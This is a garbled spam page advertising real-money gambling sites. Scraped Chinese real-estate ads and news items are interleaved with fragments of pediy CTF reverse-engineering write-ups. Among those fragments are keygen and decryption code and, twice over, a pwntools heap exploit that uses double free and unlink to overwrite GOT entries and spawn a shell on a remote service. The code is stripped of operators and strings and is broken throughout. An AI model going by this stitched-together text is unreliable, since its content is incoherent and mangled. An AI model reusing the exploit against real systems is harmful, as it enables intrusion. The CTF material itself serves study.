真钱娱乐

者:(编程解码)(动态调试)骤:代码,定位主要流程。    印象瓷盘,芳华永驻    生活并非缺少美,而是缺少创造美的原动力。,中泰人对领导、平台的感恩寄语,谁又能说这不是员工借此表达甘愿追随领导、企业的方式呢?https:///x/page/  无论工作多苦,有同事、领导的关怀和肯定,就有坚持下去的动力。、www.vns93999.com、的密钥会有个反馈,不是每次块(字节)加密都用同一个密钥,对照将代码做如下修改,其中为下一次加解密的密钥。 string_sm3=sm3(string);for(i=0;i32;++i)j__sprintf(v10[2*i],"%02x",v11[i]);v4=j__strlen(v10);v5=String+j__strlen(String);v6=j__strlen(v10);//输入的base64串的后64位与原始字符串的sm3值相等if(!j__memcmp(v10,v5[-v6],v4))接着是比较string_sm3是否等于输入的64位时候相等。完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)主要经济指标增速位居全市各区前列;坪山高新区、坪山中心区成功纳入广深科技创新走廊重要节点;新增国家高新区技术企业122家,增长%。,△中泰集团董事总裁高鹏飞运球突破△篮球健儿拼抢攻守配合默契虽然是友谊赛,但双方队员依旧施展浑身解数,运球投篮一气呵成,激烈程度不亚于职业联赛,篮球健儿们拼尽全力打好篮球赛,最后交出完美成绩!△篮球健儿急停跳投争抢篮板  点滴高标准汇集高品质中泰人认真对待工作生活中的每一场“比赛”、每一份成绩!打篮球如此,打造理想家园更是如此!中泰集团创立于1992年,在地产行业已深耕26载,这两年发展尤其迅猛,全国开发项目基本都成为当地标杆,原因何在?中泰集团董事总裁高鹏飞曾表示:“中泰集团是一家坚持高标准、高要求,追求高品质的企业。我通过整理上课的笔记,制作了win7版本的异常断点插件,如果有疏漏或误解的地方,还希望各位指正。  根据深圳房地产信息网的监测,2018年1月全市共成交(网签)新房住宅,成交(网签)面积共281428平,成交(网签)  1月全市新房成交2778套,环比减少%,同比增加%。,再一个是规划重点发展的区域,至少是区域集中的特点。中泰集团品质生活推动者创立于1992年,是一家以房地产开发为主导,多产业并行的集团化公司。

  • 博客访问: 659962
  • 博文数量: 107
  • 用 户 组: 普通用户
  • 注册时间:2018-4-27 12:32:10
  • 认证徽章:
个人简介

对此,黄鑫被责令书面检查、通报批评问责,中心主任黄家浩被谈话提醒。在省会工作的这段日子,长沙早已融入我的生命,融入了我的血液。这几天,台州终于下雪了,市民们过足了看雪的瘾。,本次安全提醒有效期至2月9日。向绪彦涉及的问题包括:违反政治纪律,对抗组织审查;违反组织纪律,未经集体研究违规调动人员,不按规定报告个人有关事项;违反廉洁纪律,收受礼金,在操办婚丧喜庆事宜中借机敛财;违反工作纪律,不认真履行职责,对常德经开区环境污染方面存在的问题负主要领导责任;违反生活纪律;利用职务上的便利为他人谋取利益并收受巨额财物,涉嫌受贿犯罪。。见此情况,朱某突发奇想:反正这条路走的人不多,何不挖掉,路面的水泥碎片还可以卖了弄点钱。要围绕建设文化强省贡献力量。。

文章分类

全部博文(193)

文章存档

2015年(549)

2014年(453)

2013年(549)

2012年(58)

订阅
www.wns2188.com 2018-4-27 12:32:10

分类: 搜搜百科

这场改革正是亩均论英雄。十年砥砺,笃志前行。,完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198   但近日,一场云集地产大咖、知名媒体,堪称地产界盛会的“2018中泰集团年度营销盛典”,以不一样的角度展现企业的凝心聚势,以及企业与员工的惺惺相惜、成长共赢,可谓是地产界绝佳平台的典范。.text:00403F65leaecx,[ebp+var_18_2Cstr].text:00403F68callHi_getCStrPtr_sub_:00403F6Dpusheax;:00403F6Eleaecx,[ebp+var_30_key1].text:00403F71callHi_checkKey1_or_expandKey_sub_403230Hi_checkFlag_dword_5982E4=1Hi_checkKey1_or_expandKey_sub_403230校验ifHi_checkFlag_dword_5982E4==1:Hi_check_key1_sub_403510//校验key1else:Hi_DecExpand_sub_403650//保留的key信息变换函数,本样例不使用在Hi_check_key1_sub_403510中调用0040354EcallHi_extract_key1_sub_4032C0解密释放出对比的rkey1,随后将rkey1与key1明文对比,即只需要在40356D断下,观测ecx和eax寄存器指向的缓冲区即可得到key1\rkey1=pediy比对正确后,会对Hi_checkFlag_dword_5982E4清零,后续重入Hi_checkKey1_or_expandKey_sub_403230函数时就不会重复校验。  2、宝安1月成交新房1021套,环比增加%,同比增加%。。“可以先把车熄火,回家吃个晚饭,再把车开回去都来得及。其实就是对输入分别与下面这一串异或,返回结果。而浦口区、温江区均为创新氛围较浓厚、设有多个孵化器与产业基地的创业核心区域,江夏区背靠武汉光谷,也在2017年颁布多项创新政策的区域。,同时要聚焦营商环境优化提升,在营造发展环境上攻坚突破,最大限度激发市场潜能。 ,在编辑框Edit控件的消息响应函数Hi_WM_COMMAND_sub_401570中通过每次输入是,都会调用消息响应函数,函数通过UpdateData(True)将当前输入的key文本更新赋值给Edit控件关联的CString成员变量,从下属代码中,可见edit控件关联成员变量在控件的0x60偏移处,要求输入的key文本长度大于0x0B,如果是正常直接输入,在输入第0x0B个字符时,就会响应校验,最大输入是0x0B;但这里的bug是,如果是复制粘贴的,其长度就可以任意,如"AAAAAAAAAAAAAAAA".text::0040158Fmov[esp+8Ch+var_74_thisPtr],:00401593callCWnd::UpdateData(int).text:00401598leaecx,[esp+88h+var_7C].text:0040159CcallCString::CString(void).text:004015A1moveax,[esi+60h].text:004015A4leaedx,[esi+60h].text:004015A7mov[esp+88h+var_4],:004015B2movebp,[eax-8].text:004015B5cmpebp,0Bh核心逻辑是两个迭代异或解密a.用用户输入的key的每一个字节异或上encKeyA=Hi_encKeyA_byte_403020,的每一个字节,解密出decKeyAb.用"a."得到的decKeyA的每一个字节有符号乘0x5E后在异或上加密代码Hi_encChipCode_sub_401540的每一个字节,解密出代码最后调用解密的代码显示成功信息。已婚女性似乎特别热衷担任短租房东的“角色”,在国内一线城市中,有高达八成以上女性房东为已婚。,详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:接下来看流程。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535项目建成后,将成为沟通广州、东莞、深圳三市的快速交通通道,对实现区域经济一体化,提升珠三角地区整体实力具有重要意义。,然后用loadpe修改驱动的校验和。粤港澳大湾区国家战略下发展定位清晰的的虎门不仅是东莞“走出去”的窗口同时也是滨海湾新区对接大湾区资源外溢的重要区域集资源、人才、产业等于一体投资价值不可预估而随着各项利好的实施虎门的未来将更值得期待【冠科泊樾湾】处于湾区交通站点中心虎门5条高速5条轨道咫尺近享快速链接穗莞深三地2公里范围内大盘云集是虎门最为繁华的住宅集群区项目占地万㎡规划有3栋洋房、2栋公寓及1栋商业洋房为82-126㎡的3-4房稀缺户型公寓则为米层高LOFT百变户型均采用国际精装交房即可入住  据了解,冠科泊樾湾营销中心将于2月24号(农历正月初九)盛大开放!敬请期待!文章来源:开发商供稿详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:。(调用的函数)关键字在中定位到如下位置。,本线路最高设计速度100km/h。、www.vn5889.com、Q:老牛请问福田未来发展怎么样,值的考虑吗感?觉价格还可以,大金沙旧改规模好大,几乎全都改了。。 privatestaticuintConvertBytesToUInt(byte[]input,intpos){//=(uint)(input[pos])+(uint)(input[pos+1]0x8)+(uint)(input[pos+2]0x10)+(uint)(input[pos+3]0x18);returnnum;}privatestaticbyte[]ConvertUIntToBytes(uintx){byte[]dst=newbyte[4];for(inti=0;i4;i++){dst[i]=(byte)(x0xff);x=x8;}returndst;}privatestaticbyte[]CombineBytes(byte[]bytes1,byte[]bytes2){byte[]dst=newbyte[+];(bytes1,0,dst,0,);(bytes2,0,dst,,);returndst;}privatestaticuint[]Code(uint[]v,uint[]k){uintnum=v[0];//0x54d6f3eauintnum2=v[1];//0x1e865afcuintnum3=0;uintnum4=(((double)(((,)-)*(,))));uintnum5=0x20;while(num5--0){num+=((num24)^((num25)+num2))^(num3+k[(ushort)(num33)]);num3+=num4;num2+=((num4)^((num5)+num))^(num3+k[(ushort)((num311)3)]);}returnnewuint[]{num,num2};//0xbfd3b3350xcc918c5e}publicstaticbyte[]Encrypt(byte[]input){uint[]k=newuint[]{0x54d6f3ea,0x15ac3f5d,0x1e865afc,0x6583a5b1};byte[]buffer=newbyte[0];intlength=;byte[]buffer2=newbyte[8];intnum2=7-(length%8);buffer2[0]=(byte)num2;for(inti=0;inum2;i++){buffer2[i+1]=(byte)((200+num2)-i);}for(intj=0;j(7-num2);j++){buffer2[(j+num2)+1]=input[j];}uint[]v=newuint[]{ConvertBytesToUInt(buffer2,0),ConvertBytesToUInt(buffer2,4)};v[0]^=k[0];v[1]^=k[2];v=Code(v,k);buffer=CombineBytes(CombineBytes(buffer,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));for(intm=7-num2;mlength;m+=8){v[0]^=ConvertBytesToUInt(input,m);v[1]^=ConvertBytesToUInt(input,m+4);v=Code(v,k);buffer=CombineBytes(CombineBytes(buffer,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));}returnbuffer;}privatestaticuint[]InvCode(uint[]v,uint[]k){uintnum=v[0];uintnum2=v[1];uintnum3=0xc6ef3720;uintnum4=(((double)(((,)-)*(,))));uintnum5=0x20;while(num5--0){num2-=((num4)^((num5)+num))^(num3+k[(ushort)((num311)3)]);num3-=num4;num-=((num24)^((num25)+num2))^(num3+k[(ushort)(num33)]);}returnnewuint[]{num,num2};}intrNum=0x1be8;byte[]rData=newbyte[rNum];byte[]wData=newbyte[0];FileStreamrFile=newFileStream(,);FileStreamwFile=newFileStream(,);(rData,0,rNum);uintx0=0,x1=0,x00=0,x11=0;uint[]k=newuint[]{0x54d6f3ea,0x15ac3f5d,0x1e865afc,0x6583a5b1};for(inti=0;irNum;i=i+8){uint[]v=newuint[]{ConvertBytesToUInt(rData,i),ConvertBytesToUInt(rData,i+4)};x00=v[0];x11=v[1];v=InvCode(v,k);if(i==0){v[0]^=k[0];v[1]^=k[2];}v[0]^=x0;v[1]^=x1;x0=x00;x1=x11;wData=CombineBytes(CombineBytes(wData,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));}for(inti=0;irNum-7;i++){wData[i]=wData[i+7];}(wData,0,rNum-7);上传的附件:句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。虽说经济实力排名较低,但大鹏的生态环境和旅游资源是最佳的!大鹏被称为中国最美八大海岸之一,三面环海,去年空气质量优良率达到%,生态环境状况指数连续三年在全省127个县级评价单元中保持第一,且一年比一年好!较场尾、大鹏所城、东西涌、杨梅坑、七娘山等都是绝佳的旅游胜地。来自中山当地的楼市观察人士向第一财经表示,“受‘深中通道’规划影响,火炬开发区等临深镇区市场热度最高。 ,    免责声明:    1、文章部分图片来于”百度图片“、“项目效果图”;    2、因文章中文字和图片之间亦无必然联系,仅供读者参考;    